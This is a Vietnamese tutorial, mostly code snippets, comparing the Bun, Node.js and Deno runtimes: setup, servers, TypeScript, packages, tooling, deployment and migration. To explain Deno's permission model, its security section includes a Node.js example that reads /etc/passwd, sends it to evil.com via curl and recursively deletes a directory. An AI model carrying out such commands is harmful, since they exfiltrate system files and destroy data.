Bun vs Node.js vs Deno: Hướng Dẫn So Sánh Toàn Diện

# Cài đặt Node.js
# Sử dụng fnm (khuyên dùng)
fnm install 22
fnm use 22
 
# Hoặc tải từ https://nodejs.org
node --version  # v22.x.x

// hello.js — Node.js
const http = require('http');
 
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'text/plain' });
  res.end('Hello from Node.js!');
});
 
server.listen(3000, () => {
  console.log('Server đang chạy tại http://localhost:3000');
});

# Cài đặt Deno
curl -fsSL https://deno.land/install.sh | sh
 
deno --version  # deno 2.x.x

// hello.ts — Deno (TypeScript chạy ngay)
Deno.serve({ port: 3000 }, (_req: Request) => {
  return new Response("Hello from Deno!");
});
 
console.log("Server đang chạy tại http://localhost:3000");

# Cài đặt Bun
curl -fsSL https://bun.sh/install | bash
 
bun --version  # 1.x.x

// hello.ts — Bun (TypeScript chạy ngay)
const server = Bun.serve({
  port: 3000,
  fetch(req) {
    return new Response("Hello from Bun!");
  },
});
 
console.log(`Server đang chạy tại http://localhost:${server.port}`);

# Benchmark thời gian khởi động
time node -e "console.log('hello')"
time deno eval "console.log('hello')"
time bun -e "console.log('hello')"

// Bun HTTP server
Bun.serve({
  port: 3000,
  fetch(req) {
    return new Response("Hello World");
  },
});
 
// Deno HTTP server
Deno.serve({ port: 3000 }, () => new Response("Hello World"));
 
// Node.js HTTP server
import { createServer } from "http";
createServer((req, res) => {
  res.end("Hello World");
}).listen(3000);

// Bun — File I/O
const file = Bun.file("data.json");
const content = await file.text();   // Implementation native nhanh
await Bun.write("output.txt", content);
 
// Node.js — File I/O
import { readFile, writeFile } from "fs/promises";
const content = await readFile("data.json", "utf-8");
await writeFile("output.txt", content);
 
// Deno — File I/O
const content = await Deno.readTextFile("data.json");
await Deno.writeTextFile("output.txt", content);

# Cách 1: Biên dịch với tsc
npx tsc && node dist/index.js
 
# Cách 2: Sử dụng tsx (khuyên dùng cho development)
npx tsx src/index.ts
 
# Cách 3: Sử dụng ts-node
npx ts-node src/index.ts
 
# Cách 4: Thử nghiệm (Node 22+)
node --experimental-strip-types src/index.ts

// tsconfig.json
{
  "compilerOptions": {
    "target": "ES2022",
    "module": "NodeNext",
    "moduleResolution": "NodeNext",
    "outDir": "dist",
    "strict": true,
    "esModuleInterop": true,
    "skipLibCheck": true
  },
  "include": ["src"]
}

# Cài đặt TypeScript và type definitions
npm install -D typescript @types/node tsx

// main.ts — chỉ cần chạy
interface User {
  id: number;
  name: string;
  email: string;
}
 
function greet(user: User): string {
  return `Xin chào, ${user.name}!`;
}
 
const user: User = { id: 1, name: "Alice", email: "[email protected]" };
console.log(greet(user));

# Không cần tsconfig.json, không cần cài đặt
deno run main.ts

// deno.json
{
  "compilerOptions": {
    "strict": true,
    "jsx": "react-jsx",
    "jsxImportSource": "react"
  }
}

// main.ts — chỉ cần chạy
interface User {
  id: number;
  name: string;
  email: string;
}
 
function greet(user: User): string {
  return `Xin chào, ${user.name}!`;
}
 
const user: User = { id: 1, name: "Alice", email: "[email protected]" };
console.log(greet(user));

# Không cần tsconfig.json
bun run main.ts

# Khởi tạo dự án
npm init -y
 
# Cài đặt packages
npm install express zod prisma
npm install -D typescript @types/express
 
# Chạy scripts
npm run dev
npm run build

project/
├── node_modules/       # Packages đã cài
│   ├── express/
│   ├── zod/
│   └── ...
├── package.json
├── package-lock.json   # Lock file
└── src/

// Import từ JSR
import { Hono } from "jsr:@hono/hono";
 
const app = new Hono();
app.get("/", (c) => c.text("Hello Hono!"));

# Thêm packages qua CLI
deno add jsr:@hono/hono
deno add npm:zod

// Import npm packages trực tiếp
import express from "npm:express";
import { z } from "npm:zod";

// Import trực tiếp từ URL (pattern gốc của Deno)
import { serve } from "https://deno.land/[email protected]/http/server.ts";

# Hoạt động trong Deno 2.0+
deno install     # Giống npm install, tạo node_modules
deno task dev    # Giống npm run dev

# Khởi tạo dự án (giống npm)
bun init
 
# Cài đặt packages (cùng lệnh, nhanh hơn nhiều)
bun install
bun add express zod prisma
bun add -D typescript @types/express
 
# Chạy scripts
bun run dev
bun run build

project/
├── node_modules/       # node_modules chuẩn
├── package.json        # package.json chuẩn
├── bun.lockb           # Lockfile binary (parse nhanh)
└── src/

// Code này chạy không có cảnh báo trong Node.js
import { readFileSync, rmSync } from 'fs';
import { execSync } from 'child_process';
 
// Đọc file nhạy cảm
const secrets = readFileSync('/etc/passwd', 'utf-8');
 
// Thực thi lệnh hệ thống
execSync('curl https://evil.com/steal?data=' + secrets);
 
// Xóa files
rmSync('/important-data', { recursive: true });

# Không có quyền — sẽ thất bại
deno run server.ts
# ❌ PermissionDenied: Yêu cầu quyền truy cập mạng
 
# Cấp quyền cụ thể
deno run --allow-net server.ts
deno run --allow-read=./data --allow-write=./output server.ts
deno run --allow-net=api.example.com server.ts
 
# Cấp tất cả quyền (không khuyên dùng cho production)
deno run --allow-all server.ts

// Yêu cầu quyền tương tác
const status = await Deno.permissions.request({ name: "read", path: "/tmp" });
if (status.state === "granted") {
  const data = await Deno.readTextFile("/tmp/data.txt");
}

# Toàn quyền truy cập, không hạn chế
bun run server.ts

# Test runner tích hợp của Node.js (v22+)
node --test tests/

# Format code (giống Prettier)
deno fmt
 
# Lint code (giống ESLint)
deno lint
 
# Chạy tests (giống Jest/Vitest)
deno test
 
# Kiểm tra type (giống tsc)
deno check main.ts
 
# Bundle (giống esbuild)
deno compile main.ts
 
# Tạo documentation
deno doc main.ts
 
# Benchmark
deno bench bench.ts

// test.ts — Test runner tích hợp của Deno
import { assertEquals } from "jsr:@std/assert";
 
Deno.test("phép cộng hoạt động", () => {
  assertEquals(1 + 1, 2);
});
 
Deno.test("test bất đồng bộ", async () => {
  const response = await fetch("https://api.example.com/health");
  assertEquals(response.status, 200);
});

# Chạy files (TypeScript, JSX native)
bun run index.ts
 
# Cài đặt packages (npm client nhanh nhất)
bun install
 
# Chạy tests (tương thích Jest)
bun test
 
# Bundle (giống esbuild/webpack)
bun build ./src/index.ts --outdir ./dist
 
# Tạo executable
bun build --compile ./src/cli.ts --outfile myapp

// test.ts — Test runner tích hợp của Bun (API tương thích Jest)
import { expect, test, describe } from "bun:test";
 
describe("toán học", () => {
  test("phép cộng hoạt động", () => {
    expect(1 + 1).toBe(2);
  });
 
  test("test bất đồng bộ", async () => {
    const response = await fetch("https://api.example.com/health");
    expect(response.status).toBe(200);
  });
});

// fetch — hoạt động ở cả ba
const response = await fetch("https://api.example.com/data");
const data = await response.json();
 
// URL và URLSearchParams — hoạt động ở cả ba
const url = new URL("https://example.com/path?key=value");
console.log(url.searchParams.get("key")); // "value"
 
// TextEncoder/TextDecoder — hoạt động ở cả ba
const encoder = new TextEncoder();
const encoded = encoder.encode("Hello World");
 
// Web Crypto — hoạt động ở cả ba
const hash = await crypto.subtle.digest(
  "SHA-256",
  new TextEncoder().encode("hello")
);

// Bun.file — Truy cập file nhanh
const file = Bun.file("package.json");
console.log(await file.text());
console.log(file.size);  // Kích thước không cần đọc nội dung
 
// Bun.serve — HTTP server hiệu năng cao
Bun.serve({
  port: 3000,
  fetch(req) {
    return new Response("Hello!");
  },
});
 
// Bun.build — Bundler tích hợp
await Bun.build({
  entrypoints: ["./src/index.ts"],
  outdir: "./dist",
  minify: true,
});
 
// Bun.password — Hash mật khẩu tích hợp
const hash = await Bun.password.hash("my-password");
const isValid = await Bun.password.verify("my-password", hash);
 
// Bun.sql — SQL client tích hợp (Bun 1.2+)
import { sql } from "bun";
const users = await sql`SELECT * FROM users WHERE id = ${userId}`;

// Deno.serve — HTTP server theo tiêu chuẩn Web
Deno.serve((req) => new Response("Hello!"));
 
// Deno.readTextFile — Thao tác file đơn giản
const content = await Deno.readTextFile("./data.txt");
 
// Deno.Command — Chạy lệnh hệ thống
const command = new Deno.Command("git", {
  args: ["status"],
  stdout: "piped",
});
const output = await command.output();
 
// Deno KV — Cơ sở dữ liệu key-value tích hợp
const kv = await Deno.openKv();
await kv.set(["users", 1], { name: "Alice" });
const user = await kv.get(["users", 1]);
 
// Deno.cron — Lập lịch cron tích hợp (Deno Deploy)
Deno.cron("báo cáo hàng ngày", "0 9 * * *", () => {
  console.log("Đang tạo báo cáo hàng ngày...");
});

// Express.js — Phổ biến nhất
import express from "express";
const app = express();
 
// Fastify — Tập trung hiệu năng
import Fastify from "fastify";
const app = Fastify();
 
// Hono — Nhẹ, đa runtime
import { Hono } from "hono";
const app = new Hono();

// Hono — Khuyên dùng cho Deno APIs
import { Hono } from "jsr:@hono/hono";
const app = new Hono();
 
app.get("/", (c) => c.text("Hello Hono trên Deno!"));
 
Deno.serve(app.fetch);

// Elysia — Framework native Bun (nhanh nhất)
import { Elysia } from "elysia";
 
new Elysia()
  .get("/", () => "Hello Elysia!")
  .get("/user/:id", ({ params: { id } }) => `User ${id}`)
  .listen(3000);

// Hono — Cũng hoạt động tốt trên Bun
import { Hono } from "hono";
const app = new Hono();
 
app.get("/", (c) => c.text("Hello Hono trên Bun!"));
 
export default app; // Bun tự động serve app Hono được export

mkdir my-api && cd my-api
npm init -y
npm install express zod
npm install -D typescript @types/express @types/node tsx
npx tsc --init

// src/index.ts
import express from "express";
import { z } from "zod";
 
const app = express();
app.use(express.json());
 
const UserSchema = z.object({
  name: z.string().min(1),
  email: z.string().email(),
});
 
const users: Array<{ id: number; name: string; email: string }> = [];
 
app.get("/users", (req, res) => {
  res.json(users);
});
 
app.post("/users", (req, res) => {
  const result = UserSchema.safeParse(req.body);
  if (!result.success) {
    return res.status(400).json({ errors: result.error.flatten() });
  }
  const user = { id: users.length + 1, ...result.data };
  users.push(user);
  res.status(201).json(user);
});
 
app.listen(3000, () => {
  console.log("Server đang chạy tại http://localhost:3000");
});

npx tsx src/index.ts    # Chạy trong development
npx tsc && node dist/index.js  # Build và chạy trong production

mkdir my-api && cd my-api
deno init
deno add jsr:@hono/hono npm:zod

// main.ts
import { Hono } from "@hono/hono";
import { z } from "zod";
 
const app = new Hono();
 
const UserSchema = z.object({
  name: z.string().min(1),
  email: z.string().email(),
});
 
const users: Array<{ id: number; name: string; email: string }> = [];
 
app.get("/users", (c) => {
  return c.json(users);
});
 
app.post("/users", async (c) => {
  const body = await c.req.json();
  const result = UserSchema.safeParse(body);
  if (!result.success) {
    return c.json({ errors: result.error.flatten() }, 400);
  }
  const user = { id: users.length + 1, ...result.data };
  users.push(user);
  return c.json(user, 201);
});
 
Deno.serve({ port: 3000 }, app.fetch);

deno run --allow-net main.ts    # Chạy với quyền mạng
deno run --watch --allow-net main.ts  # Chế độ watch

mkdir my-api && cd my-api
bun init
bun add hono zod

// index.ts
import { Hono } from "hono";
import { z } from "zod";
 
const app = new Hono();
 
const UserSchema = z.object({
  name: z.string().min(1),
  email: z.string().email(),
});
 
const users: Array<{ id: number; name: string; email: string }> = [];
 
app.get("/users", (c) => {
  return c.json(users);
});
 
app.post("/users", async (c) => {
  const body = await c.req.json();
  const result = UserSchema.safeParse(body);
  if (!result.success) {
    return c.json({ errors: result.error.flatten() }, 400);
  }
  const user = { id: users.length + 1, ...result.data };
  users.push(user);
  return c.json(user, 201);
});
 
export default app; // Bun tự động serve

bun run index.ts        # Chạy
bun --watch index.ts    # Chế độ watch

# Node.js Dockerfile
FROM node:22-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci --production
COPY . .
RUN npm run build
EXPOSE 3000
CMD ["node", "dist/index.js"]

# Deno Dockerfile
FROM denoland/deno:latest
WORKDIR /app
COPY . .
RUN deno cache main.ts
EXPOSE 3000
CMD ["deno", "run", "--allow-net", "--allow-env", "main.ts"]

# Compile thành binary đơn lẻ (không cần runtime)
deno compile --allow-net --allow-env main.ts
# Output: file thực thi đơn lẻ

# Bun Dockerfile
FROM oven/bun:latest
WORKDIR /app
COPY package.json bun.lockb ./
RUN bun install --frozen-lockfile --production
COPY . .
EXPOSE 3000
CMD ["bun", "run", "index.ts"]

# Compile thành binary đơn lẻ
bun build --compile --minify index.ts --outfile myapp
# Output: file thực thi đơn lẻ

# Bước 1: Cài đặt Bun
curl -fsSL https://bun.sh/install | bash
 
# Bước 2: Thay npm bằng bun
bun install                    # Thay cho npm install
 
# Bước 3: Chạy dự án
bun run dev                    # Thay cho npm run dev
 
# Bước 4: Thay tsx/ts-node
bun run src/index.ts          # Thay cho npx tsx src/index.ts
 
# Bước 5: Thay Jest bằng test runner của Bun (tùy chọn)
bun test                      # Thay cho npx jest

# Bước 1: Cài đặt Deno
curl -fsSL https://deno.land/install.sh | sh
 
# Bước 2: Thêm cấu hình deno.json
deno init
 
# Bước 3: Import npm packages với prefix npm:
# Trước (Node.js):
# import express from "express";
# Sau (Deno):
# import express from "npm:express";
 
# Bước 4: Hoặc dùng tương thích package.json
# Deno 2.0+ đọc package.json và node_modules
deno install     # Tạo node_modules từ package.json
deno task dev    # Chạy scripts từ package.json